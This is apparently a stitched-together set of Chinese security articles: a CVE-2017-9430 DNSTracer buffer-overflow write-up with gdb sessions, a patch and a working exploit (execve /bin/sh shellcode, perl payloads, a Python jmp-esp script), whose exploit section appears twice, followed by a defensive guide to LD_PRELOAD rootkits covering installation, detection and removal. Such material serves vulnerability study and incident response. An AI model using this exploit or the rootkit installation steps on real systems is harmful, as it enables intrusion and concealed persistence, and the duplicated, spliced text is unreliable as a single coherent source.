
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xbfffef54 ("/bin//sh")
ECX: 0xffffffff
EDX: 0xb7fc88b8 --> 0x0
ESI: 0xe3896e69
EDI: 0xe1895350
EBP: 0x80cd0bb0
ESP: 0xbfffef54 ("/bin//sh")
EIP: 0xbfffef55 ("bin//sh")
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
  0xbfffef4d: push   0x6e69622f
  0xbfffef52: mov   ebx,esp
  0xbfffef54: das    
=> 0xbfffef55: bound ebp,QWORD PTR [ecx+0x6e]
  0xbfffef58: das    
  0xbfffef59: das    
  0xbfffef5a: jae   0xbfffefc4
  0xbfffef5c: add   BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbfffef54 ("/bin//sh")
0004| 0xbfffef58 ("//sh")
0008| 0xbfffef5c --> 0x0
0012| 0xbfffef60 --> 0x0
0016| 0xbfffef64 --> 0xbfffeff4 --> 0xbffff15b ("/usr/local/bin/dnstracer")
0020| 0xbfffef68 --> 0xbffff000 --> 0xbffff596 ("SSH_AGENT_PID=1407")
0024| 0xbfffef6c --> 0xb7fdc858 --> 0xb7e21000 --> 0x464c457f
0028| 0xbfffef70 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xbfffef55 in ?? ()

错误发生在 0xbfffef55,而 shellcode 位于 0xbfffef45,两者相差 16 字节:


gdb-peda$ x/8wx 0xbfffef45
0xbfffef45: 0x6850c031 0x68732f2f 0x69622f68 0x2fe3896e
0xbfffef55: 0x2f6e6962 0x0068732f 0x00000000 0xf4000000

所以这里采用的解决办法是去掉前面的 16 个 nop,将其加到 shellcode 后面。


gdb-peda$ r `perl -e 'print "\x90"x1014 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x16 . "\x3f\xeb\xff\xbf"'`

成功获得 shell。


gdb-peda$ c
127.0.0.1 (127.0.0.1) * * *
process 7161 is executing new program: /bin/dash
$ id
[New process 7165]
process 7165 is executing new program: /usr/bin/id
uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ [Inferior 2 (process 7165) exited normally]
Warning: not running or target is remote

那如果我们开启了 ASLR 怎么办呢,一种常用的方法是利用指令 jmp esp 覆盖返回地址,这将使程序在返回地址的地方继续执行,从而执行跟在后面的 shellcode。利用 objdump 就可以找到这样的指令:


$ objdump -M intel -D /usr/local/bin/dnstracer | grep jmp | grep esp
804cc5f: ff e4               jmp   esp

exp 如下:


import os
from subprocess import call

def exp():
   filling = "A"*1053
   jmp_esp = "\x5f\xcc\x04\x08"
   shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

   payload = filling + jmp_esp + shellcode
   call(["dnstracer", payload])

if __name__ == '__main__':
   try:
       exp()
   except Exception as e:
       print "Something went wrong"

Bingo!!!


$ python exp.py
Tracing to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_�1�Ph//shh/bin��PS���
                                                                          [a] via 127.0.0.1, maximum of 3 retries
127.0.0.1 (127.0.0.1) * * *
$ id
uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)

参考资料

漏洞描述

DNSTracer 是一个用来跟踪 DNS 解析过程的应用程序。DNSTracer 1.9 及之前的版本中存在栈缓冲区溢出漏洞。攻击者可借助带有较长参数的命令行利用该漏洞造成拒绝服务攻击。

漏洞复现

推荐使用的环境 备注
操作系统 Ubuntu 12.04 体系结构:32 位
调试器 gdb-peda 版本号:7.4
漏洞软件 DNSTracer 版本号:1.9

首先编译安装 DNSTracer:


$ wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
$ tar zxvf dnstracer-1.9.tar.gz
$ cd dnstracer-1.9
$ ./confugure
$ make && sudo make install

传入一段超长的字符串作为参数即可触发栈溢出:


$ dnstracer -v $(python -c 'print "A"*1025')
*** buffer overflow detected ***: dnstracer terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb757f377]
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x68)[0xb760f6b8]
/lib/i386-linux-gnu/libc.so.6(+0xf58a8)[0xb760d8a8]
/lib/i386-linux-gnu/libc.so.6(+0xf4e9f)[0xb760ce9f]
dnstracer[0x8048f26]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7530637]
dnstracer[0x804920a]
======= Memory map: ========
08048000-0804e000 r-xp 00000000 08:01 270483     /usr/local/bin/dnstracer
0804f000-08050000 r--p 00006000 08:01 270483     /usr/local/bin/dnstracer
08050000-08051000 rw-p 00007000 08:01 270483     /usr/local/bin/dnstracer
08051000-08053000 rw-p 00000000 00:00 0
084b6000-084d7000 rw-p 00000000 00:00 0         [heap]
b74e4000-b7500000 r-xp 00000000 08:01 394789     /lib/i386-linux-gnu/libgcc_s.so.1
b7500000-b7501000 rw-p 0001b000 08:01 394789     /lib/i386-linux-gnu/libgcc_s.so.1
b7518000-b76c8000 r-xp 00000000 08:01 394751     /lib/i386-linux-gnu/libc-2.23.so
b76c8000-b76ca000 r--p 001af000 08:01 394751     /lib/i386-linux-gnu/libc-2.23.so
b76ca000-b76cb000 rw-p 001b1000 08:01 394751     /lib/i386-linux-gnu/libc-2.23.so
b76cb000-b76ce000 rw-p 00000000 00:00 0
b76e4000-b76e7000 rw-p 00000000 00:00 0
b76e7000-b76e9000 r--p 00000000 00:00 0         [vvar]
b76e9000-b76eb000 r-xp 00000000 00:00 0         [vdso]
b76eb000-b770d000 r-xp 00000000 08:01 394723     /lib/i386-linux-gnu/ld-2.23.so
b770d000-b770e000 rw-p 00000000 00:00 0
b770e000-b770f000 r--p 00022000 08:01 394723     /lib/i386-linux-gnu/ld-2.23.so
b770f000-b7710000 rw-p 00023000 08:01 394723     /lib/i386-linux-gnu/ld-2.23.so
bf8e5000-bf907000 rw-p 00000000 00:00 0         [stack]
Aborted (core dumped)

漏洞分析

这个漏洞非常简单也非常典型,发生原因是在把参数 argv[0] 复制到数组 argv0 的时候没有做长度检查,如果大于 1024 字节,就会导致栈溢出:


// dnstracer.c
int
main(int argc, char **argv)
{
  [...]
   char argv0[NS_MAXDNAME];
  [...]
   strcpy(argv0, argv[0]);

// dnstracer_broker.h
#ifndef NS_MAXDNAME
#define NS_MAXDNAME 1024
#endif

补丁

要修这个漏洞的话,在调用 strcpy() 前加上对参数长度的检查就可以了:


   /*CVE-2017-9430 Fix*/
   if(strlen(argv[0]) >= NS_MAXDNAME)
  {
       free(server_ip);
       free(server_name);
       fprintf(stderr, "dnstracer: argument is too long %s\n", argv[0]);
       return 1;
  }

   // check for a trailing dot
   strcpy(argv0, argv[0]);

Exploit

首先修改 Makefile,关掉栈保护,同时避免 gcc 使用安全函数 __strcpy_chk() 替换 strcpy(),修改编译选项如下:


$ cat Makefile | grep -w CC            
CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0
COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
CCLD = $(CC)
$ make && sudo make install
gdb-peda$ checksec
CANARY   : disabled
FORTIFY   : disabled
NX       : disabled
PIE       : disabled
RELRO     : Partial

最后关掉 ASLR:


# echo 0 > /proc/sys/kernel/randomize_va_space

因为漏洞发生在 main 函数中,堆栈的布置比起在子函数里也要复杂一些。大体过程和前面写过的一篇 wget 溢出漏洞差不多,但那一篇是 64 位程序,所以这里选择展示一下 32 位程序。

在 gdb 里进行调试,利用 pattern 确定溢出位置,1060 字节就足够了:


gdb-peda$ pattern_create 1060
gdb-peda$ pattern_offset $ebp
1849771630 found at offset: 1049

所以返回地址位于栈偏移 1049+4=1053 的地方。


gdb-peda$ disassemble main
  0x08048df8 <+808>: mov   DWORD PTR [esp+0x4],edi
  0x08048dfc <+812>: mov   DWORD PTR [esp],ebx
  0x08048dff <+815>: call   0x8048950 <[email protected]>
  0x08048e04 <+820>: xor   eax,eax
  0x08048e06 <+822>: mov   ecx,esi
  ...
  0x08048f6e <+1182>: mov   DWORD PTR [esp+0x4],esi
  0x08048f72 <+1186>: call   0x804adb0 <create_session>
  0x08048f77 <+1191>: mov   DWORD PTR [esp],0xa

在下面几个地方下断点,并根据偏移调整我们的输入:


gdb-peda$ b *main+815
gdb-peda$ b *main+820
gdb-peda$ b *main+1186
gdb-peda$ r `perl -e 'print "A"x1053 . "BBBB"'`
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xbfffeb3f --> 0xffed9cb7
ECX: 0x0
EDX: 0xb7fc7180 --> 0x0
ESI: 0xffffffff
EDI: 0xbffff174 ('A' <repeats 200 times>...)
EBP: 0xbfffef58 --> 0x0
ESP: 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7
EIP: 0x8048dff (<main+815>: call   0x8048950 <[email protected]>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
  0x8048df1 <main+801>: lea   ebx,[esp+0x46f]
  0x8048df8 <main+808>: mov   DWORD PTR [esp+0x4],edi
  0x8048dfc <main+812>: mov   DWORD PTR [esp],ebx
=> 0x8048dff <main+815>: call   0x8048950 <[email protected]>
  0x8048e04 <main+820>: xor   eax,eax
  0x8048e06 <main+822>: mov   ecx,esi
  0x8048e08 <main+824>: repnz scas al,BYTE PTR es:[edi]
  0x8048e0a <main+826>: not   ecx
Guessed arguments:
arg[0]: 0xbfffeb3f --> 0xffed9cb7
arg[1]: 0xbffff174 ('A' <repeats 200 times>...)
[------------------------------------stack-------------------------------------]
0000| 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7
0004| 0xbfffe6d4 --> 0xbffff174 ('A' <repeats 200 times>...)
0008| 0xbfffe6d8 --> 0x804be37 ("4cCoq:r:S:s:t:v")
0012| 0xbfffe6dc --> 0x0
0016| 0xbfffe6e0 --> 0x0
0020| 0xbfffe6e4 --> 0x0
0024| 0xbfffe6e8 --> 0x0
0028| 0xbfffe6ec --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048dff in main (argc=<optimized out>, argv=<optimized out>) at dnstracer.c:1622
1622   strcpy(argv0, argv[0]);
gdb-peda$ x/10wx argv0
0xbfffeb3f: 0xffed9cb7 0x000000bf 0x00000100 0x00000200
0xbfffeb4f: 0xe33b9700 0xfdcac0b7 0x000000b7 0xffeff400
0xbfffeb5f: 0xe24e08b7 0x000001b7

所以栈位于 0xbfffeb3f,执行这一行代码即可将 0xbffff174 处的 “A” 字符串复制到 argv0 数组中:


gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xbfffe6bf ('A' <repeats 200 times>...)
EBX: 0xbfffe6bf ('A' <repeats 200 times>...)
ECX: 0xbffff1d0 ("BBBB")
EDX: 0xbfffeadc ("BBBB")
ESI: 0x0
EDI: 0xbfffedb3 ('A' <repeats 200 times>...)
EBP: 0xbfffead8 ("AAAABBBB")
ESP: 0xbfffe290 --> 0xbfffe6bf ('A' <repeats 200 times>...)
EIP: 0x8048dba (<main+794>: mov   ecx,DWORD PTR [ebp-0x82c])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
  0x8048db3 <main+787>: push   edi
  0x8048db4 <main+788>: push   ebx
  0x8048db5 <main+789>: call   0x8048920 <[email protected]>
=> 0x8048dba <main+794>: mov   ecx,DWORD PTR [ebp-0x82c]
  0x8048dc0 <main+800>: xor   eax,eax
  0x8048dc2 <main+802>: add   esp,0x10
  0x8048dc5 <main+805>: repnz scas al,BYTE PTR es:[edi]
  0x8048dc7 <main+807>: not   ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfffe290 --> 0xbfffe6bf ('A' <repeats 200 times>...)
0004| 0xbfffe294 --> 0xbfffedb3 ('A' <repeats 200 times>...)
0008| 0xbfffe298 --> 0xffffffff
0012| 0xbfffe29c --> 0xffffffff
0016| 0xbfffe2a0 --> 0x0
0020| 0xbfffe2a4 --> 0x0
0024| 0xbfffe2a8 --> 0x8051018 ("127.0.1.1")
0028| 0xbfffe2ac --> 0xffffffff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, main (argc=<optimized out>, argv=<optimized out>) at dnstracer.c:1623
1623   if (argv0[strlen(argv[0]) - 1] == '.') argv0[strlen(argv[0]) - 1] = 0;
gdb-peda$ x/10wx argv0
0xbfffeb3f: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb4f: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb5f: 0x41414141 0x41414141
gdb-peda$ x/5wx argv0+1053-0x10
0xbfffef4c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef5c: 0x42424242

同时字符串 “BBBB” 覆盖了返回地址。所以我们用栈地址 0xbfffeb3f 替换掉 “BBBB”:


gdb-peda$ r `perl -e 'print "A"x1053 . "\x3f\xeb\xff\xbf"'`

gdb-peda$ x/5wx argv0+1053-0x10
0xbfffef4c: 0x41414141 0x41414141 0x41414141 0x41414141 <-- ebp
0xbfffef5c: 0xbfffeb3f                                     <-- return address

然后就可以在栈上布置 shellcode 了,这一段 shellcode 长度为 23 字节,前面使用 nop 指令填充:


gdb-peda$ r `perl -e 'print "\x90"x1030 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x3f\xeb\xff\xbf"'`
gdb-peda$ x/7wx argv0+1053-23
0xbfffef45: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e <-- shellcode
0xbfffef55: 0xb0e18953 0x3f80cd0b 0x00bfffeb

根据计算,shellcode 位于 0xbfffef45

然而当我们执行这个程序的时候,发生了错误:


gdb-peda$ c
127.0.0.1 (127.0.0.1) * * *

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xbfffef54 ("/bin//sh")
ECX: 0xffffffff
EDX: 0xb7fc88b8 --> 0x0
ESI: 0xe3896e69
EDI: 0xe1895350
EBP: 0x80cd0bb0
ESP: 0xbfffef54 ("/bin//sh")
EIP: 0xbfffef55 ("bin//sh")
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
  0xbfffef4d: push   0x6e69622f
  0xbfffef52: mov   ebx,esp
  0xbfffef54: das    
=> 0xbfffef55: bound ebp,QWORD PTR [ecx+0x6e]
  0xbfffef58: das    
  0xbfffef59: das    
  0xbfffef5a: jae   0xbfffefc4
  0xbfffef5c: add   BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbfffef54 ("/bin//sh")
0004| 0xbfffef58 ("//sh")
0008| 0xbfffef5c --> 0x0
0012| 0xbfffef60 --> 0x0
0016| 0xbfffef64 --> 0xbfffeff4 --> 0xbffff15b ("/usr/local/bin/dnstracer")
0020| 0xbfffef68 --> 0xbffff000 --> 0xbffff596 ("SSH_AGENT_PID=1407")
0024| 0xbfffef6c --> 0xb7fdc858 --> 0xb7e21000 --> 0x464c457f
0028| 0xbfffef70 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xbfffef55 in ?? ()

错误发生在 0xbfffef55,而 shellcode 位于 0xbfffef45,两者相差 16 字节:


gdb-peda$ x/8wx 0xbfffef45
0xbfffef45: 0x6850c031 0x68732f2f 0x69622f68 0x2fe3896e
0xbfffef55: 0x2f6e6962 0x0068732f 0x00000000 0xf4000000

所以这里采用的解决办法是去掉前面的 16 个 nop,将其加到 shellcode 后面。


gdb-peda$ r `perl -e 'print "\x90"x1014 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x16 . "\x3f\xeb\xff\xbf"'`

成功获得 shell。


gdb-peda$ c
127.0.0.1 (127.0.0.1) * * *
process 7161 is executing new program: /bin/dash
$ id
[New process 7165]
process 7165 is executing new program: /usr/bin/id
uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ [Inferior 2 (process 7165) exited normally]
Warning: not running or target is remote

那如果我们开启了 ASLR 怎么办呢,一种常用的方法是利用指令 jmp esp 覆盖返回地址,这将使程序在返回地址的地方继续执行,从而执行跟在后面的 shellcode。利用 objdump 就可以找到这样的指令:


$ objdump -M intel -D /usr/local/bin/dnstracer | grep jmp | grep esp
804cc5f: ff e4               jmp   esp

exp 如下:


import os
from subprocess import call

def exp():
   filling = "A"*1053
   jmp_esp = "\x5f\xcc\x04\x08"
   shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

   payload = filling + jmp_esp + shellcode
   call(["dnstracer", payload])

if __name__ == '__main__':
   try:
       exp()
   except Exception as e:
       print "Something went wrong"

Bingo!!!


$ python exp.py
Tracing to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_�1�Ph//shh/bin��PS���
                                                                          [a] via 127.0.0.1, maximum of 3 retries
127.0.0.1 (127.0.0.1) * * *
$ id
uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)

参考资料

一、动态链接库预加载型rootkit概述

动态链接库预加载机制是系统提供给用户运行自定义动态链接库的一种方式,在可执行程序运行之前就会预先加载用户定义的动态链接库的一种技术,这种技术可以重写系统的库函数,只需要在预加载的链接库中重新定义相同名称的库函数,程序调用库函数时,重新定义的函数即会短路正常的库函数,这种技术可以用来重写系统中有漏洞的库函数,达到修复漏洞的目的,如get_host_byname导致ghost漏洞的这类函数。这种技术也可以被不怀好意的攻击者用来写rootkit,通过重写mkdir, mkdirat, chdir, fchdir, opendir, opendir64, fdopendir, readdir, readdir64等和系统文件,网络,进程相关的库函数来达到隐藏文件,进程的目的。相对于普通的用户空间rootkit而言,手段更加隐蔽,更加难以被发现,相对于内核模块rootkit来说,兼容性更好,编写难度更低,综合这两种优点,使得这类型rootkit逐年增多,难以查杀。

 

二、动态链接库预加载型rootkit所用技术

应用程序执行流程.png

2.1 linux动态链接库预加载机制

在linux操作系统的动态链接库加载过程中,动态链接器会读取LD_PRELOAD环境变量的值和默认配置文件/etc/ld.so.preload的文件内容,并将读取到的动态链接库进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。

2.2 全局符号介入

全局符号介入指的是应用程序调用库函数时,调用的库函数如果在多个动态链接库中都存在,即存在同名函数,那么链接器只会保留第一个链接的函数,而忽略后面链接进来的函数,所以只要预加载的全局符号中有和后加载的普通共享库中全局符号重名,那么就会覆盖后装载的共享库以及目标文件里的全局符号。

2.3 rootkit利用的技术点

因为动态链接库预加载机制和全局符号介入这两种系统机制,可以控制程序运行时的链接(Runtime linker),允许用户在程序运行前优先加载定义的动态链接库,使得恶意动态链接库优先于正常动态链接库加载,根据全局符号介入的顺序原理短路正常函数,执行攻击者定义的恶意函数


 利用点.png

从上图中我们可以看到3种利用方式:

1. 将恶意动态链接库通过LD_PRELOAD环境变量进行加载。

2. 将恶意动态链接库通过/etc/ld.so.preload配置文件进行加载。

3. 修改动态链接器来实现恶意功能,例如修改动态链接器中默认的用于预加载的配置文件路径/etc/ld.so.preload为攻击者自定义路径,然后在里面写入要加载的恶意动态链接库,当然修改的姿势还有很多,如修改默认环境变量,直接将要hook的动态链接库写入到动态链接器当中。

 

三、动态链接库预加载型rootkit

3.1 利用LD_PRELOAD加载恶意动态链接库

3.1.1 安装

LD_PRELOAD环境变量是会及时生效的,使用LD_PRELOAD加载恶意动态链接库方法如下:

LD_PRELOAD=/lib/evil.so LD_PRELOAD的值设置为要预加载的动态链接库

export LD_PRELOAD 导出环境变量使该环境变量生效

unset LD_PRELOAD 解除设置的LD_PRELOAD环境变量

测试使用的rootkit下载地址https://github.com/mempodippy/cub3

LD_PRELOAD示例.png

3.1.2 检测

直接打印出LD_PRELOAD的值(默认LD_PRELOAD环境变量无值),如果LD_PRELOAD中有值,则将该文件上传到virustotal或微步在线等恶意软件检测平台检测该文件是否正常,或者用自制的特征进行匹配或者人工strings或者用ida看一下,即可判断出是否是恶意程序。

图片9.png

3.1.3 清除

   使用命令unset LD_PRELOAD即可实现卸载使用LD_PRELOAD环境变量安装的恶意动态链接库。如下图,可以看到被隐藏的文件evil.so显示出来了。

图片1.png

 

3.2 利用/etc/ld.so.preload加载恶意动态链接库

3.2.1 安装

将恶意动态链接库路径写入/etc/ld.so.preload(没有则创建)配置文件中,如下图所示将恶意动态链接库路径写入/etc/ld.so.preload文件中即生效,对应的恶意动态链接库文件被隐藏

图片2.png

3.2.2 检测

因为恶意动态链接库一般都有隐藏/etc/ld.so.preload文件的功能,我们使用普通的ls,cat等命令无法读取对应配置文件的内容,此时我们可以使用静态编译的ls命令,cat命令(推荐使用busybox自带命令)来绕过预加载的恶意动态链接库,如果没有ls命令cat命令,有时候将ls命令和cat命令改成其他任意字符也可以绕过恶意动态链接库的隐藏,主要得看恶意动态链接库具体实现方式。

如下图,通过使用普通的cat命令和busybox中的cat命令查看/etc/ld.so.preload文件内容对比,即可判断出是否有通过/etc/ld.so.preload配置文件加载的恶意动态链接库。

图片3.png

3.2.3 清除

因为恶意动态链接库具有隐藏文件的功能,所以清除时需要使用静态编译的基础命令来进行对应操作,清除过程如下所示

首先清除上方/etc/ld.so.preload文件中查看到的/lib/evil.so文件,使其无法正常预加载,然后清除/etc/ld.so.preload中的恶意文件内容,有的恶意动态链接库会修改该文件的隐藏权限,以及普通的读写权限,所以需要看一下,然后再清除,到此为止即清除成功。(因为我这里以前就没有配置预加载的库,所以直接清空,如果你们有业务配置了预加载的库则需要清除特定行,而不是直接清空)

图片4.png

 

3.3 修改动态链接器来实现恶意功能

3.3.1 安装

修改动态链接器实现恶意功能目的有多种方法,这里使用替换动态链接器中的默认预加载配置文件/etc/ld.so.preload路径的rootkit,来实现更加隐蔽的恶意动态链接库预加载,安装的方法是修改动态链接器中配置文件路径/etc/ld.so.preload为自定义的路径,然后再在该路径中写入要预加载的恶意动态链接库的绝对路径。测试使用的恶意rootkit名称为Vlany,下载地址为https://github.com/mempodippy/vlany

3.3.2 检测

修改默认动态链接器来达到实现恶意功能的目的会破坏原有动态链接器的完整性,我们可以使用文件完整性检查来检查该动态链接器是否被修改

首先获取系统中的动态链接器的文件路径,然后判断该动态链接器文件的完整性。这里测试系统是centos,自带rpm校验功能,下图中的5指的是文件的md5发生了改变,T指的是修改时间发生了改变。

图片5.png

    如果知道了动态链接器被修改过,(排除系统升级导致)那么可以判断动态链接器存在较高的安全风险,我们需要对该修改进行进一步确认,如果攻击者修改动态链接器但是实现恶意功能的方式不是修改了预加载配置文件,而是修改了默认的环境变量,或者直接根据开源代码将恶意功能植入动态链接器然后重新编译生成的恶意动态链接器,那么下面的检测方法可能是无效的,需要视情况分析。

 使用strace命令来查看预加载的配置文件是不是/etc/ld.so.preload文件,如下图,动态链接库预加载的配置文件是/sbin/.XsknPn3F而不是原有的配置文件,我们即可确认系统中存在修改动态链接器的rootkit

图片6.png

使用busybox自带的cat命令查看该文件,因为使用正常cat命令无法查看该文件,被预加载的库函数给隐藏了

图片7.png

图片8.png

3.3.3 清除

    清除修改动态链接器的rootkit,需要使用相同系统的相同版本动态链接器替换被修改了的动态链接器,才能达到彻底清除的目的,暂时缓解的方式则是将上方检测过程中看到的恶意动态链接库删除,以及将对应的动态链接库配置文件中的内容清除。

四、通用检测方法总结

根据动态链接库预加载机制可知,预加载型恶意动态链接库只对需要使用动态库函数的程序有效,恶意动态链接库基本功能隐藏文件,根据隐藏文件功能的特点,所以我们检测的思路是应用程序尽量不使用动态库,即可绕过这个文件隐藏的功能

交叉试图:使用普通ls命令对特定目录下文件进行查看,使用静态编译的基础命令来对特定目录文件进行查看,必看文件/etc/ld.so.preload经典目录/lib/判断是否有隐藏文件,应急响应时推荐使用busybox,或者自己静态编译的ls等命令

动态链接库预加载机制会读取预加载配置文件内容,然后加载配置文件中对应的动态链接库,根据这一特性,可以通过跟踪常用命令执行过程中加载的文件,来判断是否存在恶意动态链接库。

 

strace文件跟踪:可执行程序运行时,首先会访问动态链接库预加载配置文件,然后读取对应配置文件中的动态库,并预先加载,然后再去加载正常所需链接库,通过跟踪系统/bin/ls打开的相关文件,即可找到预加载配置文件以及被预加载的动态链接库,如果恶意动态链接库有反strace措施,可以修改strace名称或使用LD_PRELOAD环境变量预先加载一个无关动态链接库,然后再strace进行跟踪,可以绕过恶意动态链接库的根据可执行程序名称检测的反strace措施。

文件完整性检查:部分攻击者通过修改动态链接器的方式实现恶意功能的目的,但这种做法会破环动态链接器的完整性,通过检测动态链接器的完整性即可检测出修改动态链接器型rootkit。

五、引用

 

